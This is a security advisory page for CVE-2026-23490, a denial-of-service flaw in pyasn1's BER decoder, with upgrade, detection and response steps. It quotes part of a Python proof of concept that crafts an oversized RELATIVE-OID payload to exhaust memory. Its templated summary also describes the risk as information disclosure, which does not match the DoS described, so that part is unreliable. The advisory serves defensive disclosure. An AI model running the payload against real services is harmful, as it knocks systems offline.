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CVE-2026-23490 high CVSS 7.5

Vulnerability in pyasn1 (CVE-2026-23490)

Summary

Vulnerability in pyasn1 (CVE-2026-23490). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 0.6.2 or later.

Original description

The description as published by the source.

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to…

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-23490 has been found in pyasn1.
Risk of unauthorized operations or information disclosure. CVSS score: 7.5/10.
What to do: upgrade pyasn1 to 0.6.2 or later.
If unsure, ask your IT team or search "pyasn1 CVE-2026-23490" on the vendor's site.

CVE-2026-23490 (pyasn1) — CWE-770 / CVSS v3 7.5
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Patched: 0.6.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-770) exists in pyasn1.

📍 Affected scope

Check the vendor advisory for the affected versions of pyasn1.

🔥 Severity

Severity: High (CVSS 7.5/10). Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 0.6.2.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'pyasn1' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'pyasn1' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で pyasn1 を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade pyasn1 to 0.6.2

    ステージング環境で 0.6.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

PyPI pyasn1
[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.1"},{"fixed":"0.6.2"}]}]
pip pyasn1
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.2"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

References

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